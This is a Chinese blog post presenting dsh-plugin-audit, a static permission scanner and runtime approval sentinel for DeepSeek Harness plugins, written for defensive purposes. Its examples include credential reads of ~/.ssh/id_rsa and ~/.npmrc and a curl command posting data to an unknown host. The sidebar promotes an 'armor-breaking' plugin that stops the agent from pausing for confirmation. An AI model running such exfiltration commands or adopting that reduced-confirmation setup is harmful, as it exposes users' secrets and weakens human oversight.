给DeepSeek Harness插件装上“安检门“:dsh-plugin-audit的设计与实践

DeepSeek Harness TUI插件dsh-tui实战指南:从安装到高级定制 终端用户界面(TUI)作为一种在终端环境中提供图形化交互的技术,通过将复杂的命令行操作转化为可视化界面,显著降低了使用门槛,同时保留了命令行的灵活性和效率。其核心原理在于利用终端控制序列和字符图形库,在有限的文本空间内构建丰富的用户界面元素。在技术价值上,TUI工具能够提升开发者和运维人员的工作效率,特别是在DevOps、系统管理和日常开发工作流中,通过集中监控和智能命令补全等功能,实现操作的可视化和自动化。应用场景广泛覆盖任务管理、实时状态监控和日志分析等领域。本文聚焦于DeepSeek Harness生 阅读详情

安装一个第三方插件,本质上是一次授权——授权它读你的文件、连它的服务器、动你的凭证。问题是:你真的知道它要什么权限吗?

为什么写这个插件

DeepSeek Harness(DSH)的插件生态正在长大:雷达站 awesome-dsh-plugins 已经收录了几十个社区插件,涵盖会话迁移、跨会话通信、远程渠道等各种能力。这是好事,但有一个越来越显眼的问题——

插件安装没有权限声明环节。 一条 dsh plugin add xxx,插件代码就进了你的 harness 进程:它能读文件系统、能开子进程、能访问 process.env 里的一切(包括你的 API token)、能向任意主机发请求。装之前,你唯一的"审查手段"是自己去读它的源码——而没人真的会为每个插件做这件事。

我们需要的不是"信任"或"不信任"的二元选择,而是证据:这个插件的代码到底碰了什么能力,把文件和行号摆出来,让人来判断。

同时,静态审查只覆盖"装之前"。插件真正运行起来之后,每一次工具调用都是一次新的授权决策。所以还需要一道运行时的关卡。

这就是 dsh-plugin-audit 的两层设计:静态画像 + 运行时哨兵。

它做什么

第一层:plugin_audit 静态审计工具

装好后,会话里会多出一个 plugin_audit 工具。指向任意插件的源码目录,它返回一张权限画像卡:

## Plugin audit: fixture-suspicious-plugin

**Risk: REVIEW** — REVIEW — human review recommended before installing

> 1 files scanned; risk=review; 10 findings (4 review, 4 notice, 2 info)

### Permission profile

| Surface | Observed |
|---|---|
| Filesystem read | **yes** |
| Filesystem write | **yes** |
| Child processes | **yes** |
| Network | **yes** |
| Outbound hosts | `evil.example.com`, `exfil.badhost.io`, `telemetry.example.net` |
| Env variables | `GITHUB_TOKEN`, `HOME` |
| Credential-looking env | `GITHUB_TOKEN` |
| Credential paths | `.npmrc`, `.ssh` |
| Dynamic code execution | **yes** |
| Injected services | `credentials`, `tools` |

扫描覆盖的能力面:

  • 文件系统读写——含别名导入(readFileSync as rfs)、异步方法(rm/mkdir/cp 等 20+ 个)
  • 子进程——exec/spawn/fork 及其同步变体
  • 网络——http/net/fetch/WebSocket,以及 axios/got/undici 等常见 HTTP 库的导入;URL 字面量里的外发主机会被逐个提取(自动剥离 userinfo、IPv6 括号、尾部点)
  • 环境变量——所有 process.env.X 引用;名字疑似凭证的(TOKEN/KEY/SECRET…)单独升级标记
  • 凭证路径——.ssh/.aws/.npmrc/id_rsa 等
  • 动态代码执行——eval/new Function/vm 模块
  • manifest 与 bundle patch——package.json 的依赖声明、cordis.patch.yml 是否 override/delete 了别人的插件行

每条发现都带文件和行号。风险分三档:INFO(无敏感能力)→ NOTICE(有能力,扫一眼列表)→ REVIEW(装之前建议人工审查)。

它是只读的——而且这件事本身被强制执行。 每份报告携带 writesPerformed: false 契约标记;审计器还附带一个 invariant 伴随插件,如果任何 plugin_audit 结果丢失了这个标记,宿主会直接让会话失败。审计别人代码的工具,自己先戴上镣铐。

第二层:运行时哨兵

静态审计管"装之前",哨兵管"跑起来之后"。它挂在宿主工具管线的 tools/pre-execute waterfall 上,监视会话里的每一次工具调用,命中三条规则之一就返回 ask,交给宿主原有的审批提示:

规则示例
任意工具参数引用凭证路径read 读 ~/.ssh/id_rsa、bash: cat ~/.npmrc
shell 外发指向白名单之外的主机curl -d @data.json https://collector.unknown.io/x
写工具指向家目录 dotfilewrite 写 ~/.zshrc

没有审批通道时,调用被拒绝——绝不静默放行。

怎么使用

安装

# 从 npm
dsh plugin --profile web add dsh-plugin-audit

# 或直接从 GitHub
dsh plugin --profile web add github:jkrandom-sudo/dsh-plugin-audit

重启 profile 后生效。卸载同样一条命令:dsh plugin --profile web remove dsh-plugin-audit。

审计一个插件

在会话里直接说:

用 plugin_audit 审计 ~/some-third-party-plugin 这个插件

或者让模型直接调用:

{ "path": "/absolute/path/to/plugin", "format": "markdown" }
  • path(必填)——插件的源码目录(不是带 node_modules 的安装产物)
  • format——markdown(默认,返回上面的卡片)或 json(返回结构化报告,适合程序化处理)

配置哨兵

在 profile 的 cordis.patch.yml 里:

- id: dsh-plugin-audit
  name: 'dsh-plugin-audit'
  config:
    sentinelEnabled: true        # 总开关;false = 只保留静态审计
    allowedHosts:                # shell 外发的预批准主机
      - github.com
      - registry.npmjs.org
      - '*.deepseek.com'         # 前导 *. = 后缀规则(同时匹配裸域名)

正常命令频繁触发询问?把主机加进 allowedHosts 即可。

一段诚实的插曲:v0.1.x 的哨兵其实从未工作过

这个插件最值得讲的经验,来自它自己的一次翻车。

v0.1.0 发布前,哨兵在测试里全部通过,在本机真实 profile 的进程内验证里也"通过"了。发布后的一次三 agent 代码审查却发现了一个 P0:哨兵读的是 exec.args,而宿主真实的执行对象把参数放在 exec.arguments。生产环境里每条规则永远命中不了——哨兵是个安静的摆设。

更讽刺的是为什么验证没拦住:测试 harness 和手工验证脚本都镜像了同一个错误假设,错得彼此印证。

v0.1.2 的修复不止改了字段名(exec.arguments ?? exec.args),还做了两件防复发的事:

  1. 验证脚本改用宿主真实形状 { name, arguments } 派发,并在 harness 里留下注释记录这次回归;
  2. 新增 src/events.ts,用 cordis 的 Events 接口模块增强把宿主 waterfall 声明进类型系统——监听器形状从此编译期受检,同类错误在 tsc 阶段就会爆炸,而不是上线后。

教训一句话:当测试替身和生产事实由同一个假设驱动时,绿灯什么也证明不了。 验证要对着宿主的真实源码形状来,而不是对着自己的理解来。

边界与立场

这个插件是审计辅助,不是杀毒软件:

  • 干净的报告含义是"这些规则没发现证据",不是"安全";
  • 扫描基于源码文本而非 AST,字符串和注释里的命中会原样上报——宁多勿漏,因为卡片是给人看的证据;
  • 不跟随 symlink,跳过 node_modules/dist 等目录(只发布构建产物的包会强制得 NOTICE 而不是假干净);
  • 上限 400 文件 / 单文件 256 KB,超出会在报告里如实标注。

发现绕过方式——扫描器漏检的能力、可规避的哨兵规则——欢迎在 Issues 提出,敏感内容请先私下报告。

链接


装插件之前,先花十秒钟看看它的权限画像。这十秒钟,就是这道安检门存在的全部理由。

DeepSeek Harness插件开发实战:从零构建政务数据简报生成工具 在现代企业级应用开发中,系统集成与AI能力封装是提升开发效率的关键技术。其核心原理在于通过标准化接口和插件化架构,将复杂功能模块化,实现即插即用的部署模式。这种技术价值体现在大幅降低集成复杂度、提升开发复用性,并保障系统安全隔离。在政务、金融、企业内部工具等场景中,插件化方案能快速将数据处理、AI分析等能力嵌入现有工作流。本文以DeepSeek Harness插件生态为例,详细演示如何开发一个政务数据简报生成插件,涵盖环境搭建、前后端开发、调试打包全流程,并重点解析插件与政务门户的集成方案,为开发者提供一套 阅读详情

相关推荐

DeepSeek Harness插件在政务门户中的集成实践与安全部署指南

AI应用开发框架通过插件机制扩展能力,实现与外部系统的标准化连接。其核心原理在于提供模块化、可复用的连接器组件,将AI能力封装为服务化接口。这一技术架构的价值在于解决传统系统集成中的开发效率低、对接复杂等痛点,尤其在安全合规要求极高的政务信息化场景中,能够实现AI能力与现有IT架构的快速、安全融合。通过定义清晰的API接口和配置规范,开发者可以构建智能问答、文档处理等应用,并将其作为微服务嵌入政务门户。本文以DeepSeek Harness框架为例,详细解析了政务场景下插件从环境准备、部署安装到生产级集成的

weixin_33782386的博客 413

awesome-dsh-plugin:4460 个 DeepSeek Harness (dsh) 插件精选完整指南,新手 3 步装通

装好了 DeepSeek Harness,想用点新花样,却发现不知道有哪些 dsh 插件、哪个值得装?awesome-dsh-plugin 就是为这种时刻准备的:它是社区收录最完整的 DeepSeek Harness(dsh)插件精选列表,4460 个社区插件、20 多个功能分类,每个条目都配一行描述和安装信息。这篇文章带你从"装下第一个插件"走到"任何需求都能反查到分类"。 ## 一、这份列表

gitblog_00131的博客 1117

ABB RobotStudio 和 S7-PLCSIM Advanced V5.0 搭建虚拟通信环境,实现 PLC 对机器人布尔量、数字量和模拟量的控制。

本教程详细介绍了如何利用ABB RobotStudio和S7-PLCSIM Advanced V5.0搭建虚拟通信环境,实现PLC对机器人的布尔量、数字量和模拟量控制。主要内容包括:在TIA Portal V20中配置PLC项目并编写通信程序;通过S7-PLCSIM Advanced创建虚拟PLC运行环境;在RobotStudio中设置机器人PROFINET通信;以及建立虚拟网络连接并进行功能测试。该方案适用于工业自动化虚拟调试,可显著降低现场调试风险。操作需注意软件版本兼容性、网络配置及信号映射准确性,最

CHUXUEZHE8210的博客 2515

7400+ 个 DSH 插件:如何在 awesome-dsh-plugin 里找对、装好、配起来

awesome-dsh-plugin 是一份 DSH(DeepSeek Harness)社区插件精选列表。这篇讲清楚插件怎么装、按场景怎么选、还能怎么搭成一套,帮你把一台空 dsh 变成自己顺手的工作台。 [![Awesome DSH Plugin 中文页横幅:DeepSeek Harness 插件精选列表](https://raw.gitcode.com/gh_mirrors/aw/aweso

gitblog_01143的博客 544

手把手教你学Simulink--双足机器人分数阶PID控制仿真

分数阶PID(Fractional-order PID, FOPID)控制是一种先进的控制策略,它扩展了传统的整数阶PID控制器的概念。FOPID控制器允许积分和微分项的阶次不是严格的整数,而是可以是任意实数,这为系统提供了更多的设计自由度,并可能带来更好的性能。在双足机器人控制中,分数阶PID控制可以用于改善机器人的平衡控制、轨迹跟踪等任务的性能。下面我们将详细介绍如何使用Simulink进行基于分数阶PID控制方法的双足机器人仿真研究。

MHD0815的博客 881

Ubuntu 24.04 下 NoMachine 极速安装与远程桌面配置全攻略

本文详细介绍了在Ubuntu 24.04系统下安装和配置NoMachine远程桌面的完整指南。从系统准备、分步安装到性能调优和常见问题解决,帮助用户快速实现低延迟的远程桌面访问。特别适合开发者和IT管理员在Linux环境下高效部署远程工作环境。

moon9的博客 945

GitHub每日热评|开源深度解析|awesome‑dsh‑plugin:DSH生态爆红之后,目录协议远比插件本身值钱

随着 DeepSeek‑Harness(DSH)编码Agent生态快速升温,一大批社区插件如雨后春笋般涌现。在生态爆发的早期阶段,开发者最容易把目光聚焦到一个个功能酷炫的独立插件,却忽略了生态底层最关键的基础设施——**插件目录登记协议**。 `awesome‑dsh‑plugin` 仓库一度冲上GitHub新建项目热度榜第5名。很多人第一眼以为它只是一份普通的 Awesome 资源清单,一个收藏各类插件链接的合集页面。但透过源码快照深入分析后会发现,它早已跳出“链接收藏夹”的定位,承担起 DSH 插件生

TunerT_TQ的博客 322

针对中文CLIP模型训练失效的解决方案记录

解决了中文CLIP模型无法正确训练的问题

weixin_45906434的博客 1621

awesome-dsh-plugin:7400+ 个 DeepSeek Harness 插件摆上货架,一条命令装走

awesome-dsh-plugin 是 DeepSeek Harness(`dsh`)社区插件的精选列表:7400+ 个可安装插件、23 个分类,每一条都对过源码。这篇按"你想拿插件干什么"带你装下第一个 DSH 插件。 [![DeepSeek Harness (dsh) 插件精选列表 awesome-dsh-plugin 项目横幅](https://raw.gitcode.com/gh_mi

gitblog_00480的博客 648

F280049C Buffered Digital-to-Analog Converter (DAC)

使用DAC模块很简单,只需要配置参考电压,并写入DACVALS寄存器一个数字值即可。参考电压可配置为外部参考VDAC和内部参考电压1.65V和2.5V,并结合增益作为DAC模块最终的参考电压DACREF。举个例子,配置参考电压为内部参考电压1.65V,增益设置为2,则参考电压DACREF=3.3V,若向DACVALS写入数字值2048,则输出的DAC模块的输出带电压DACOUT=DACVALS×DACREF4096=1.65VDACOUT=

xht2403267701的博客 2369

LPDDR4协议规范之 (四)命令和时序

LPDDR4协议规范之 (四)命令和时序命令真值表激活操作读写访问操作读前沿和后沿突发读取操作流程读操作时序写前沿和后沿突发写操作写入均衡(待更新) 命令真值表 激活操作 ACTIVATE命令由两个连续命令组成,Activate-1命令和Activate-2。通过在(Activate-1)时钟的第一个上升沿保持CS HIGH,CA0 HIGH和CA1 LOW来发出Activate-1命令,通过...

YJFeiii的博客 2万+

awesome-dsh-plugin 插件生态实战指南:8879 个 DSH 插件,挑对、装好、搭成一套

awesome-dsh-plugin 是 DeepSeek Harness(dsh)的插件精选列表,当前收录 8879 个社区插件、归入 23 个分类。本文不按菜单念,而是按"你要干什么"带你把插件挑对、装好、再搭成一套顺手组合。 ## 最短上手路径:从一条命令到一键市场 这一节解决"怎么最快用上",给三条从轻到重的入口,先跑起来再谈别的。 [![DeepSeek Harness 插件列表

gitblog_00553的博客 264

【科研绘图系列】R语言绘制代谢物与临床表型相关性的森林图

本研究通过森林图展示了特定代谢物与三种临床比较之间的相关性分析结果。这种方法不仅直观地展示了每个代谢物的效应大小和不确定性,还允许我们比较不同代谢物在不同临床比较中的影响。森林图的结果表明,某些代谢物在特定临床比较中显示出显著的相关性,这可能为理解疾病的代谢机制提供了重要线索。

专注生信领域 565

一文读懂 dsh-purge「破甲」插件:让 DeepSeek Harness 不再反复打断你的 5 大核心能力

**dsh-purge**(社区俗称「破甲」插件)是 DeepSeek Harness(下称 DSH)的一个自托管附加组件,把日常使用中最消耗注意力的三件事收敛到一处:**状态自检、提示词管理、本机备份与回滚**。它不改模型本身,只降低交互层面的摩擦——让 Agent 不再每做一步都停下来问一句,同时保证每个动作都可见、可回滚。 ## 为什么 AI 助手总爱「停下来问」? 🤔 用 DSH 做

gitblog_01062的博客 848

31、Labview如何搭建程序框架?--状态机到数据采集等常用框架

本文废话不多,直接列举几种框架搭建方式,为了尽量向大家提供干货,本文直接从简介和手把手教搭建框架两方面来讲解,本文提到五种经典框架模式,学会这五种就很够了,分别是:状态机框架(State Machine)、生产者-消费者框架(Producer-Consumer)、主-从框架(Master-Slave)、事件驱动框架(Event-Driven)、分层架构(Layered Architecturep)。这个框架是基于状态机结构的。顾名思义“状态机”就是个“切换程序状态的机器”。本质是一个。

关注我,更多技术问题欢迎私聊~ 3103

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

DeepSeek Harness保姆级实战:一文搞懂Agent Harness

DeepSeek Harness 是官方开源的 Agent 运行时框架,其核心价值在于将大模型能力转化为可执行任务的工作流(如代码分析/修改/测试)。与直接调用 API 不同,它通过插件化架构(Cordis)整合模型、工具、沙箱、会话等组件,支持 Standard/Code/Minimal/Creator 四种运行模式。本文详解其架构原理、Web UI/Headless/Python SDK 三种使用方式,并梳理权限控制、会话复用等实践要点。当前处于开发者预览阶段,适合需要定制 Agent 基础设施的团队。

CodeBlog-star 2450

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

如何 3 分钟装好 dsh-purge:DSH 破甲插件新手快速开始完全指南

**dsh-purge**(Purge Community)是一款跑在你本机上的 **DeepSeek Harness(DSH)破甲插件**,提供 **状态自检、提示词管理与本机备份回滚**,让 AI 助手更连贯地配合你的学习与实验。本指南带你 3 分钟完成 **dsh-purge 安装教程**:装好 → 应用补丁 → 重启,全程只改本机,不动云端。 [![dsh-purge 破甲插件左侧栏清洗

gitblog_00683的博客 1932

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

如何把已有的 DeepSeek Harness(dsh)接入 CodeWhale?

如果你已经在终端里装了官方 DeepSeek Harness(`dsh`,npm 包 `@deepseek-ai/dsh`),并且希望让它跑在 CodeWhale 选定的 provider 路由和模型上,而不是维护两套配置,`codewhale integrations dsh …` 这条命令路径可以把两者接起来。接入后,DSH 保持一个完整的 harness 表面,CodeWhale 继续持有

gitblog_00957的博客 445

【AI Agent】DeepSeek Harness(dsh)源码与架构深度分析

官方 SAFETY.md 更直接指出:项目尚未经过安全审计,不能视为 secure / production-ready。官方 architecture.md 明确说明:Cordis 是 dsh 的基础框架;model adapter、tool registry、session log、agent loop 本身也都是 plugin,因此可以通过配置替换。官方甚至明确写出:不存在需要 patch 的 privileged core,而是通过 mounting plugin 扩展系统。

m0_58426858的博客 1308

SkillHub 与 DeepSeek Harness(dsh)技能安装集成实践:目录约定、安装命令与排障

本篇以 SkillHub 仓库中的 [DeepSeek Harness 集成指南](https://link.gitcode.com/i/7a06385271c07b48f3ed4efa989a567e) 为核心,讲解如何把 SkillHub 中的技能包安装到 DeepSeek Harness(CLI 名为 `dsh`):涵盖 dsh 原生技能根目录的安装命令与 scope 默认行为、共享 `.a

gitblog_00340的博客 320

deepseek Harness自定义插件市场索引源分享

本文汇总了多个DSH插件市场索引源,涵盖主流平台如dsh.so、GitHub/NPM榜单及第三方精选库,共收录超2.8万条插件数据。各索引平均响应时间1.5秒,压缩后体积普遍低于2MB,支持dsh 0.2.1.alpha.4及以上版本,需开启自定义市场并配置索引地址即可使用。

机器未来的博客 1107

dsh-blender-plugin 架构深潜:15 个工具、33 family / 217 op 与 addon 协议实现原理

dsh-blender-plugin 是 DSH(DeepSeek Harness)× Blender 的直连实时插件:15 个模型工具让 AI 在真实 GUI Blender 会话中看视口、改场景、做校验并导出模型;v2.6.0 的 plan 通道已扩展到 33 family / 217 op,全程依靠随包 addon 的扁平 TCP 协议驱动。本文带你看懂这套「模型工具 → Node 后端 →

gitblog_00448的博客 762

MemOS Local Plugin:为 OpenClaw / Hermes / DeepSeek Harness 搭建四层自进化记忆系统

本文是一份面向开发者的实战指南,围绕仓库中的 `@memtensor/memos-local-plugin`(位于 [apps/memos-local-plugin/](https://link.gitcode.com/i/005a3c8a2876c55ecdbb66d36c301bdc))展开。该插件是一套 local-first、文件存储的记忆系统,为 AI Agent 提供 L1 trace

gitblog_01169的博客 452

DeepSeek-Harness插件商业化改造与构建错误排查实战

在搭建本地Agent服务时,插件体系的扩展性和可运营性往往决定方案的上限。插件通常以独立子进程运行,通过JSON-RPC与主进程通信,这种架构天然支持热插拔与故障隔离。当需要将插件交付给外部客户时,鉴权、计费与审计日志便成为商业化落地的关键。基于凭证池的密钥管理和事件流的计量切分,可以让插件保持无状态,从而独立演进。然而在安装部署阶段,依赖锁文件冲突、环境变量缺失或路径分隔符差异,容易引发一连串构建失败,例如常见的“build failed with 4 errors”。以DeepSeek-Harness为

weixin_33800463的博客 307

DSH Desktop 深度解析:以 Electron 为壳的 DeepSeek Harness 桌面端插件化架构与实战指南

DSH Desktop(`dsh-plugin-desktop`)是 DeepSeek Harness(DSH)插件生态中的桌面端呈现层:它在 Electron 中运行 DSH,同时继续参与普通的 Cordis 组合,安装后的应用名为 **DSH Desktop**。本文以 [dsh-plugin-desktop/README.zh.md](https://link.gitcode.com/i/0

gitblog_00841的博客 200

DSH Desktop Beta:以 Cordis 插件形态运行的 DeepSeek Harness 桌面抢先版架构与实战指南

`dsh-plugin-desktop-beta` 是 DeepSeek Harness Desktop(DSH Desktop)的 Beta 通道包:它在 Electron 中运行抢先版桌面外壳,同时仍然作为一个普通 Cordis 插件参与 DSH 组合。本文围绕该包的核心架构展开,讲解它在 Electron main 进程中启动 Host Cordis 根的方式、三种桌面呈现模式(兼容 / 扩

gitblog_00701的博客 230
上一篇: opencode-plugin-peers完全指南:OpenCode如何实现 Claude Code式跨会话消息
kinguuuuuu 1
博客等级 码龄14年 7粉丝 15原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值